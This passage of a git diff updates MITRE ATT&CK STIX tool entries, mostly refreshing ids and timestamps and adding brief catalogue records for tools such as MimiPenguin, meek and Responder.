             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:02.428Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Arp",
             "description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)\n\nAliases: Arp, arp.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5.json b/enterprise-attack/tool/tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5.json
index 26357bc491..ba67315fdf 100644
--- a/enterprise-attack/tool/tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5.json
+++ b/enterprise-attack/tool/tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f22e1086-4fc7-4bbb-a704-4579f900dfab",
+    "id": "bundle--2aac3e52-6386-4fa1-8657-23f27b2f739a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:03.377Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ifconfig",
             "description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)\n\nAliases: ifconfig",
             "labels": [
diff --git a/enterprise-attack/tool/tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe.json b/enterprise-attack/tool/tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe.json
index 6eb502079a..74cba257a1 100644
--- a/enterprise-attack/tool/tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe.json
+++ b/enterprise-attack/tool/tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1bdf24a6-74b5-487e-abde-b4f00e80d56c",
+    "id": "bundle--a664bd4d-06aa-4019-81cb-2e6ea823cc67",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:04.937Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "dsquery",
             "description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--4664b683-f578-434f-919b-1c1aad2a1111.json b/enterprise-attack/tool/tool--4664b683-f578-434f-919b-1c1aad2a1111.json
index 20e0ae3459..6ea543eac4 100644
--- a/enterprise-attack/tool/tool--4664b683-f578-434f-919b-1c1aad2a1111.json
+++ b/enterprise-attack/tool/tool--4664b683-f578-434f-919b-1c1aad2a1111.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f5f21cca-9469-4b1f-a948-932476d29106",
+    "id": "bundle--f996dbd0-40a0-441a-ae7e-4377ffd09d10",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:04.545Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "netstat",
             "description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)\n\nAliases: netstat, netstat.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe.json b/enterprise-attack/tool/tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe.json
index f4805d56d5..88564dc2bb 100644
--- a/enterprise-attack/tool/tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe.json
+++ b/enterprise-attack/tool/tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a38410f4-7fbd-4426-869a-f69e4ae41f30",
+    "id": "bundle--2204ffc7-8006-4b5e-abb8-522db735e90d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:10.569Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fgdump",
             "description": "Fgdump is a Windows password hash dumper. (Citation: Mandiant APT1)\n\nAliases: Fgdump",
             "labels": [
diff --git a/enterprise-attack/tool/tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b.json b/enterprise-attack/tool/tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b.json
index 0f28af3fd7..37d0d460ac 100644
--- a/enterprise-attack/tool/tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b.json
+++ b/enterprise-attack/tool/tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a215a96e-7de2-4b70-857b-863c4c38a08b",
+    "id": "bundle--7b79b42f-30fe-4fea-bf09-968dff56b53d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:11.941Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "xCmd",
             "description": " (Citation: xCmd) is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems. (Citation: xCmd)\n\nAliases:  (Citation: xCmd)",
             "labels": [
diff --git a/enterprise-attack/tool/tool--5a33468d-844d-4b1f-98c9-0e786c556b27.json b/enterprise-attack/tool/tool--5a33468d-844d-4b1f-98c9-0e786c556b27.json
new file mode 100644
index 0000000000..4584a7884d
--- /dev/null
+++ b/enterprise-attack/tool/tool--5a33468d-844d-4b1f-98c9-0e786c556b27.json
@@ -0,0 +1,40 @@
+{
+    "type": "bundle",
+    "id": "bundle--60c337c2-6855-4b23-8c28-ce9b6b91f925",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "tool",
+            "id": "tool--5a33468d-844d-4b1f-98c9-0e786c556b27",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "MimiPenguin",
+            "description": "is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)\n\nAliases: MimiPenguin\n\nContributors: Vincent Le Toux",
+            "labels": [
+                "tool"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0179",
+                    "external_id": "S0179"
+                },
+                {
+                    "source_name": "MimiPenguin GitHub May 2017",
+                    "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
+                    "url": "https://github.com/huntergregal/mimipenguin"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "MimiPenguin"
+            ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/tool/tool--5a63f900-5e7e-4928-a746-dd4558e1df71.json b/enterprise-attack/tool/tool--5a63f900-5e7e-4928-a746-dd4558e1df71.json
index 183873ba5d..68a3372f78 100644
--- a/enterprise-attack/tool/tool--5a63f900-5e7e-4928-a746-dd4558e1df71.json
+++ b/enterprise-attack/tool/tool--5a63f900-5e7e-4928-a746-dd4558e1df71.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--27b5f94b-c016-4108-beec-a56939877f8f",
+    "id": "bundle--1ce92d3a-87b7-4a51-bc1c-be42372e24dc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:06.083Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "netsh",
             "description": "netsh is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)\n\nAliases: netsh, netsh.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--65370d0b-3bd4-4653-8cf9-daf56f6be830.json b/enterprise-attack/tool/tool--65370d0b-3bd4-4653-8cf9-daf56f6be830.json
new file mode 100644
index 0000000000..6111045df7
--- /dev/null
+++ b/enterprise-attack/tool/tool--65370d0b-3bd4-4653-8cf9-daf56f6be830.json
@@ -0,0 +1,32 @@
+{
+    "type": "bundle",
+    "id": "bundle--de7775ad-7ad8-4e4f-af3b-5ebf293c3c90",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "tool",
+            "id": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "meek",
+            "description": "is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.\n\nAliases: meek",
+            "labels": [
+                "tool"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0175",
+                    "external_id": "S0175"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "meek"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/tool/tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1.json b/enterprise-attack/tool/tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1.json
index f9f7c53ff8..2705b83877 100644
--- a/enterprise-attack/tool/tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1.json
+++ b/enterprise-attack/tool/tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a46a27a-3cfb-4fa4-b2e9-9ff478229716",
+    "id": "bundle--1d399914-d818-4870-b67e-39f3a3c0f14a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:00.969Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Systeminfo",
             "description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)\n\nAliases: Systeminfo, systeminfo.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--9de2308e-7bed-43a3-8e58-f194b3586700.json b/enterprise-attack/tool/tool--9de2308e-7bed-43a3-8e58-f194b3586700.json
index 00276c9618..605e61f53a 100644
--- a/enterprise-attack/tool/tool--9de2308e-7bed-43a3-8e58-f194b3586700.json
+++ b/enterprise-attack/tool/tool--9de2308e-7bed-43a3-8e58-f194b3586700.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--681f78dc-4afe-4900-8afa-d1e6cb428b28",
+    "id": "bundle--af3fe011-7c52-4fa7-926c-aef93f6eae03",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:13.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "pwdump",
             "description": "pwdump is a credential dumper. (Citation: Wikipedia pwdump)\n\nAliases: pwdump",
             "labels": [
diff --git a/enterprise-attack/tool/tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719.json b/enterprise-attack/tool/tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719.json
new file mode 100644
index 0000000000..1d5abc0f2a
--- /dev/null
+++ b/enterprise-attack/tool/tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--8b00f1db-58c2-45f8-b7a8-1406b9343d88",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "tool",
+            "id": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Responder",
+            "description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)\n\nAliases: Responder",
+            "labels": [
+                "tool"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0174",
+                    "external_id": "S0174"
+                },
+                {
+                    "source_name": "GitHub Responder",
+                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
+                    "url": "https://github.com/SpiderLabs/Responder"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Responder"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/tool/tool--a52edc76-328d-4596-85e7-d56ef5a9eb69.json b/enterprise-attack/tool/tool--a52edc76-328d-4596-85e7-d56ef5a9eb69.json
index cf95a4b924..4ccb6e5412 100644
--- a/enterprise-attack/tool/tool--a52edc76-328d-4596-85e7-d56ef5a9eb69.json
+++ b/enterprise-attack/tool/tool--a52edc76-328d-4596-85e7-d56ef5a9eb69.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7b9fb6c3-92c4-4e83-8602-f5206d8011fa",
+    "id": "bundle--90a42a95-6d65-48d7-beb2-99d54e1cd971",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:11.426Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass-The-Hash Toolkit",
             "description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)\n\nAliases: Pass-The-Hash Toolkit",
             "labels": [
diff --git a/enterprise-attack/tool/tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39.json b/enterprise-attack/tool/tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39.json
index b3dc894579..f65031d6fa 100644
--- a/enterprise-attack/tool/tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39.json
+++ b/enterprise-attack/tool/tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--17c78ba1-d456-42ff-b911-98bcd31e3ea1",
+    "id": "bundle--99cd1db2-b0fe-41ea-b3e8-f7a6f276f96f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cobalt Strike",
-            "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d.  Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)\n\nThe list of techniques below focuses on Cobalt Strike\u2019s ATT&CK-relevant tactics.\n\nAliases: Cobalt Strike",
+            "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d.  Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)\n\nAliases: Cobalt Strike",
             "labels": [
                 "tool"
             ],
diff --git a/enterprise-attack/tool/tool--afc079f3-c0ea-4096-b75d-3f05338b7f60.json b/enterprise-attack/tool/tool--afc079f3-c0ea-4096-b75d-3f05338b7f60.json
index d140fcf998..7ee9efd0e1 100644
--- a/enterprise-attack/tool/tool--afc079f3-c0ea-4096-b75d-3f05338b7f60.json
+++ b/enterprise-attack/tool/tool--afc079f3-c0ea-4096-b75d-3f05338b7f60.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--12d0027a-8e63-4985-a470-689907271be6",
+    "id": "bundle--ad2fa025-f052-4c21-9875-0d5d12c09296",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:11.544Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mimikatz",
-            "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)\n\nAliases: Mimikatz",
+            "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)\n\nAliases: Mimikatz\n\nContributors: Vincent Le Toux",
             "labels": [
                 "tool"
             ],
@@ -36,6 +36,9 @@
             ],
             "x_mitre_aliases": [
                 "Mimikatz"
+            ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
             ]
         }
     ]
diff --git a/enterprise-attack/tool/tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54.json b/enterprise-attack/tool/tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54.json
index a76085d586..07ced7e61c 100644
--- a/enterprise-attack/tool/tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54.json
+++ b/enterprise-attack/tool/tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b3253085-a8e0-49b3-981c-9ff9eb3b3ad8",
+    "id": "bundle--ae4d5fb2-19b6-46ac-ad76-56212d2c37b9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:13.755Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "gsecdump",
             "description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)\n\nAliases: gsecdump",
             "labels": [
@@ -23,7 +23,7 @@
                 {
                     "source_name": "TrueSec Gsecdump",
                     "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.",
-                    "url": "http://www.truesec.com/Tools/Tool/gsecdump%20v2.0b5"
+                    "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/tool/tool--b35068ec-107a-4266-bda8-eb7036267aea.json b/enterprise-attack/tool/tool--b35068ec-107a-4266-bda8-eb7036267aea.json
index 82ebbd68c8..8b2f538606 100644
--- a/enterprise-attack/tool/tool--b35068ec-107a-4266-bda8-eb7036267aea.json
+++ b/enterprise-attack/tool/tool--b35068ec-107a-4266-bda8-eb7036267aea.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d79409ab-03be-481a-a366-79ee2c209d7e",
+    "id": "bundle--c5834881-95b2-484b-b088-36d558e3acf9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:03.773Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "nbtstat",
             "description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)\n\nAliases: nbtstat, nbtstat.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--b77b563c-34bb-4fb8-86a3-3694338f7b47.json b/enterprise-attack/tool/tool--b77b563c-34bb-4fb8-86a3-3694338f7b47.json
index 583cb5dd68..cfab9334e5 100644
--- a/enterprise-attack/tool/tool--b77b563c-34bb-4fb8-86a3-3694338f7b47.json
+++ b/enterprise-attack/tool/tool--b77b563c-34bb-4fb8-86a3-3694338f7b47.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--051a63fd-03b5-471e-ba57-f54e5c2711cf",
+    "id": "bundle--99e5a419-c8a4-400c-bb45-78ec29a8f09e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:01.483Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Ping",
             "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)\n\nAliases: Ping, ping.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--bba595da-b73a-4354-aa6c-224d4de7cb4e.json b/enterprise-attack/tool/tool--bba595da-b73a-4354-aa6c-224d4de7cb4e.json
index 2f681d52fe..8d2c243ce5 100644
--- a/enterprise-attack/tool/tool--bba595da-b73a-4354-aa6c-224d4de7cb4e.json
+++ b/enterprise-attack/tool/tool--bba595da-b73a-4354-aa6c-224d4de7cb4e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--12dd1c6f-943c-4d76-a5ab-84cf9c0786ba",
+    "id": "bundle--03aba7a5-3f02-452b-92a5-d34e74bbe095",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:05.319Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "cmd",
             "description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> (Citation: TechNet Dir)), deleting files (e.g., <code>del</code> (Citation: TechNet Del)), and copying files (e.g., <code>copy</code> (Citation: TechNet Copy)).\n\nAliases: cmd, cmd.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--c11ac61d-50f4-444f-85d8-6f006067f0de.json b/enterprise-attack/tool/tool--c11ac61d-50f4-444f-85d8-6f006067f0de.json
index 5ff5e4d6aa..d50bbf75a6 100644
--- a/enterprise-attack/tool/tool--c11ac61d-50f4-444f-85d8-6f006067f0de.json
+++ b/enterprise-attack/tool/tool--c11ac61d-50f4-444f-85d8-6f006067f0de.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--85101c45-1367-4a2b-9b62-b572dff2ba62",
+    "id": "bundle--603d6444-0e4f-4e53-9f4f-13fd3628d477",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:04.151Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "route",
             "description": "route can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)\n\nAliases: route, route.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--c9703cd3-141c-43a0-a926-380082be5d04.json b/enterprise-attack/tool/tool--c9703cd3-141c-43a0-a926-380082be5d04.json
index 3882560515..f43346256b 100644
--- a/enterprise-attack/tool/tool--c9703cd3-141c-43a0-a926-380082be5d04.json
+++ b/enterprise-attack/tool/tool--c9703cd3-141c-43a0-a926-380082be5d04.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b02b1a67-a757-4674-9a16-f70f00359219",
+    "id": "bundle--a68ebbc5-6c8c-47af-bf25-0b8eb6f30f15",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:07.218Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "schtasks",
             "description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)\n\nAliases: schtasks, schtasks.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52.json b/enterprise-attack/tool/tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52.json
index 0f68d8ad4f..fafbe45b46 100644
--- a/enterprise-attack/tool/tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52.json
+++ b/enterprise-attack/tool/tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fcc360f1-b68e-449a-b41b-560b91e1d805",
+    "id": "bundle--38903a2a-5dc5-43a3-80a5-913b9be541cb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:10.197Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cachedump",
             "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system\u2019s registry. (Citation: Mandiant APT1)\n\nAliases: Cachedump",
             "labels": [
diff --git a/enterprise-attack/tool/tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f.json b/enterprise-attack/tool/tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f.json
index 99da20751e..72a7bb5b59 100644
--- a/enterprise-attack/tool/tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f.json
+++ b/enterprise-attack/tool/tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1a2d26fb-2a21-4fb1-8c25-b7aada5e7331",
+    "id": "bundle--224eff1e-763a-4545-b977-fa0a75439cc7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:49.000Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Reg",
